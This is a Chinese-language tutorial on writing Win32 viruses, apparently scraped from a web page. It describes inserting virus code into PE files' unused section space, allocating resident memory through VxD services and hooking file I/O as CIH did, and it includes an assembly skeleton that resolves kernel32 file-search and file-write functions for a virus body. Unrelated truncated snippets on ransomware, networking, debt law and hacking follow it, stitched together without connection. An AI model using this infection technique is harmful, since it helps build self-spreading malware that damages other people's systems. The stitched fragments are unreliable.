Win32下病毒设计入门
本文假定你对dos下的病毒和386PM有一定的了解。
1、感染任何一个病毒都需要有寄主,把病毒代码加入寄主程序中
(伴侣病毒除外)。
以下说明如何将病毒代码嵌入PE文件中,有关PE文件的结构请看以前的文章。 PE文件的典型结构: MZ Header DOS STUB CODE PE HEADER OPTIONAL HEADER SECTION TABLE SECTION 1 SECTION 2 ... IMPORT TABLE EXPORT TABLE 和DOS的可执行文件类似,PE的代码映象分为几个SECTION,在文件中会对齐
页边界(4K)。一般来说,文件会加载在400000h开始的空间,而之一个SECTION在401000h处,同时入口地址也是401000h。由高级语言编写的程序,每个SECTIO-N的长度不可能刚好是4K的倍数,因此在SECTION的末尾将会存在一段未用的空间 , 大小可由Section的PHYSICAL SIZE-VIRTUALSIZE得到,在文件中起始位置可由 PHYSICAL OFFSET得到,这段空间可以用来存放病毒代码。此外一般来说, MZ Header+DOS STUD+PE
HEADER+OPTIONAL HEADER+SECTION TABLE不过1K左右, 而SECTION 1由4K开始,空出来的地方足够存放一个设计精良的病毒。CIH就是将 代码存放在这些空闲空间里。
2、分配驻留所需内存
对于驻留形的病毒,分配驻留所需内存是必需的。在DOS下使用由于所有的 应用程序都映射在相同的线性地址空间里,使用一般的内存分配调用就足够了。而在WIN32下,每个应用程序都有自己的线性地址空间,必须使用特殊的函数分配2GB以上的系统地址。典型的如:VXD服务_PageAllocate,和kernel32的 VxDCALL
_PageReserve。_PageAllocate请参看win98ddk中的说明,VxDCall _PageReserve 请参看HPS源码中的注释。
3、截留FILE I/O操作 驻留型的病毒通过截留FILE I/O来激活,可以通过使用VXD服务
IF *** gr_Install-FileSystemAPIHook(如CIH)或截留VxDCall中的DOS Services callback(如HPS)。
在Win32下编写病毒不是一件困难的事。值得注意的有几件事:
一、Win32下的系统功能调用不是通过中断实现,而是由DLL中导出。
(直接使用VxD服务除外)。直接在病毒中得到API入口不是一件容易的事,可以通过以下这个变通的 *** 。
在同一个版本的Windows下,同一个核心函数的入口总是固定的
(指由Kernel32,gdi32,user32导出的函数)。因此可以用以下的 *** 得到函数入口:
.386p
.model flat,stdcall
extrn GetModuleHandleA:proc
extrn GetProcAddress:proc
extrn ExitProcess:proc
.data
szKernel db 'KERNEL32.DLL',0
szFindFirst db 'FindFirstFileA',0
szFindNext db 'FindNextFileA',0
szFindClose db 'FindClose',0
szGetCurrentDir db 'GetCurrentDirectoryA',0
szGetWinDir db 'GetWindowsDirectoryA',0
szGetSysDir db 'GetSystemDirectoryA',0
szGetFileAttrib db 'GetFileAttributesA',0
szSetFileAttrib db 'SetFileAttributesA',0
szlopen db '_lopen',0
szlread db '_lread',0
szlwrite db '_lwrite',0
szlclose db '_lclose',0
szllseek db '_llseek',0
hKernel dd 0
.code
;Initialize code
start:
push szKernel
call GetModuleHandleA
mov hKernel,eax
push szFindFirst
push hKernel
call GetProcAddress
mov FindFirstFile,eax
....
jmp VirusStart
InitExit:
push 0
call ExitProcess
VirusStart:
jmp Entry
HostEntry dd InitExit
FindFirstFile dd 0
FindNextFile dd 0
...
Entry:
...
end start
在Intialize Code得到要用的函数入口并将它填入病毒中,在病毒运行时可以直接使用了。
图 1.1 蜜獾日志 安华金和共享数据信息安全处理终端软件与典型性应用实践活动引言:年GandCrab、GlobeImposter、CrySis这三大家族勒索软件的受害人数最多,耍心眼占比较高达80....
大家的互联网假如出現了难题便会造成不能上网,关键全是无线路由器或是大家的互联网基本参数出了难题。比如以太网接口沒有合理的ip设置的难题,如果是这个问题,我们要看一下网络连接设置是不是设定了固定不动的I...
被执行人是什么意思(被执行人、失信被执行人、老赖如何区分) 不是每个被执行人都是“老赖”,也不是每个被执行人都能被称为“老赖”。 被执行人≠失信被执行人=老赖 “赖”这个字在博大精深的各种方言中...
1、知识付费 现在都9102年了,知识付费一直更新迭代,还是有着巨大的潜力,比如喜马拉雅,得到,知乎会员等等,都捉住了知识付费的风口,赚得盆满钵满。你可能会说,这些都是大机构做出来...
看着你电子邮箱前三个字母与我的一样那麼我也尽下良知让你讲讲有关如何找寻网络黑客妙手并使他按自身规定进攻1gt;你找不着网络黑客妙手,缘故是没人敢肯定自。 嘿嘿如今网络黑客无所不在真实的非常少..骗子公...
概述Volexity最近观察到野外存在对Adobe ColdFusion中新修复漏洞的利用,该漏洞目前在网上不存在任何公开细节或概念验证(PoC)代码。在Volexity检测到的攻击中,一个自称是来自...